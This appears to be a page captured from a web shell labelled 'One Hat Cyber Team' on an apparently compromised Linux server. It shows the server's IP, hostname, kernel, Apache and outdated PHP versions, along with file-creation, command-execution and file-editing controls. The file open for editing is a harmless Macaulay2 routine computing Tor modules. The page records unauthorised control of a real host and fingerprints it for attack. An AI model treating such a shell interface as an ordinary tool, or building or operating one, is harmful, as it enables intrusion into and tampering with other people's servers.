One Hat Cyber Team
Your IP :
216.73.216.14
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
Macaulay2
/
OldChainComplexes
/
Edit File:
Tor.m2
-- Copyright 1995 by Daniel R. Grayson -- also see Complexes/Tor.m2 Tor(ZZ, Module, Module) := Module => opts -> (i,M,N) -> ( if ring M =!= ring N then error "expected the same ring"; R := ring M; if not isCommutative R then error "'Tor' not implemented yet for noncommutative rings."; if i < 0 then R^0 else if i === 0 then M ** N else ( C := resolution(M,LengthLimit=>i+1); N = minimalPresentation N; b := C.dd; complete b; if b#?i then ( if b#?(i+1) then homology(b_i ** N, b_(i+1) ** N) else kernel (b_i ** N)) else ( if b#?(i+1) then error "internal error" else C_i ** N)))
Simpan